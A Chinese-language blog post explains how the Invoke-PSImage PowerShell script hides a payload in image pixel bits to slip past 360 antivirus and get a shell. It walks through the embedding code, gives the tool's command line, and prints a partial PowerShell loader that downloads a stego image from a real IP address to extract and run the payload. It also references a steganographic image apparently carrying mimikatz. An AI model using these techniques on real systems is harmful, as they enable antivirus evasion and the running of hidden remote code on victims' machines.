之前在bypass360那篇文章用到了这个脚本,最近面试的时候被问到了,没说出来,这篇算是补上之前的缺漏吧,其实最主要的就是这个脚本的隐写来绕过360,简单了解一下这个脚本的隐写原理

如有错误,烦请佬们及时指出,感谢

LSB

常年打CTF的佬们应该都多少了解PNG隐写的一些常用打法,例如LSB隐写,网上介绍LSB隐写或者其他隐写的文章很多,大家自己去看吧,我简单介绍一下

在大多数PNG中,像素都是由R,G,B三色组成,每种颜色用8位数据表示(0x00~0xFF),如果修改其最低位,人眼是分辨不出这种微小的变化的。我们就可以利用每个像素的R,G,B颜色分量的最低位来隐藏信息,我就不重复造轮子了

https://3gstudent.github.io/%E9%9A%90%E5%86%99%E6%8A%80%E5%B7%A7-PNG%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84LSB%E9%9A%90%E5%86%99

简介

原理简单来说就是将获取到的payload通过插入插入像素的方式插入到图片中,让人的肉眼无法观察出来,同时通过不明显的插入payload来骗过一些杀毒软件达到免杀的效果,使用时,通过powershell代码在命令行将图片马解出来运行payload,达到shell上线

脚本分析

涉及到一些图片的底层信息,也是临时在网上了解到的。

在免杀360那篇文章中,核心是通过该脚本生成一个免杀图片马,然后用powershell的形式去加载我们的图片马到电脑,所以关键就在图片马的生成免杀上。根据GitHub上的readme参考说明文件,简单总结下面三点。

  1. 选取每个像素的两个颜色中的4位用于保存payload(像素使用的为RGB模式,分别选取颜色分量中的G和B的低4位(共8位)保存payload)
  2. 图像质量将受到影响(由于同时替换了G和B的低4位,故图片质量会受影响)
  3. 输出格式为png

补充:LSB隐写是替换RGB三个分量的最低1位,人眼不会注意到前后变化,每个像素可以存储3位的信息

在实际测试中,会发现当你输入jpg文件后,输出的png文件大于jpg文件,因为png图片为无损压缩(bmp图片也是无损压缩),jpg图片为有损压缩。

其实这里还有一些问题,在用010editor打开发现,我们生成的图片马尽管是jpg格式,但是还是以png特点开头的,所以本质上还是生成的png格式。

发现网上的文章说payload长度需要小于像素个数,但是我在实际测试中发现大多数时候都满足这个条件,所以不需要太去关注这个问题

隐写原理(代码)

关键代码从110行开始

先判断payload和image是否符合要求

if($bytes/2 -lt $payload.Length) {
    Write-Error "Image not large enough to contain payload!"
    $img.UnlockBits($bmpData)
    $img.Dispose()
    Break
}

然后对for循环做一个简单的修改,假定需要读取0x73,将其写入第一个像素RGB(0x67,0x66,0x65)

(1) 读取payload

代码:

$paybyte1 = [math]::Floor($payload[$counter]/16)

说明:

$payload[$counter]/16`表示`$payload[$counter]/0x10

即取0x73/0x10,取商,等于0x07

所以,$paybyte1 = 0x07

代码:

$paybyte2 = ($payload[$counter] -band 0x0f)

说明:

即0x73 & 0x0f,结果为0x03

所以,$paybyte2 = 0x03

代码:

$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)

说明:

作随机数填充,$paybyte3可忽略

注:

原代码会将payload的长度和图片的像素长度进行比较,图片多出来的像素会以同样格式被填充成随机数

(2) 向原像素赋值,添加payload

原像素为RGB(0x62,0x61,0x60)

代码:

$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1

说明:

即0x60 & 0xf0 | 0x07

所以,$rgbValues[0] = 0x67

代码:

$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2

说明:

即0x61 & 0xf0 | 0x03

所以,$rgbValues[1] = 0x63

代码:

$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3

说明:

随机数填充,可忽略

综上,新像素的修改过程为:

R: 高位不变,低4位填入随机数
G: 高位不变,低4位填入payload的低4位
B: 高位不变,低4位填入payload的高4位

到此payload加载到图片中就结束了,在我们使用的时候需要再通过powershell把图片中的payload解密出来再运行

读取RGB,还原payload(解密payload)

我就直接拿360那篇文章来现身说法了,刚好那篇文章的文件还没删

对输出做一个简单的修改,读取像素中的payload并还原

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://81.69.174.145:90/img/456.jpg"));$o=a Byte[] 3936;(0..0)|%{foreach($x in(0..3935)){$p=$g.GetPixel($x,$_);

例如如果是取第一个像素,那么代码为:

sal a New-Object;
Add-Type -AssemblyName "System.Drawing";
$g= a System.Drawing.Bitmap("C:\1\evil-kiwi.png");
$p=$g.GetPixel(0,0);
$p;

还原payload,输出payload的第一个字符,代码如下:

$o = [math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15);
[math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15));

实际测试

使用参数:

Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out .\456.jpg

payload.ps1: 包含payload,例如”start calc.exe”

123.jpg: 输入图片,像素数量需要大于payload长度

456.jpg: 输出图片路径(这里的图片格式无所谓)

脚本执行后会输出读取 图片解密payload并执行的代码

关于实际演示,请跳转https://www.plumstar.cn/2022/09/06/Bypass360/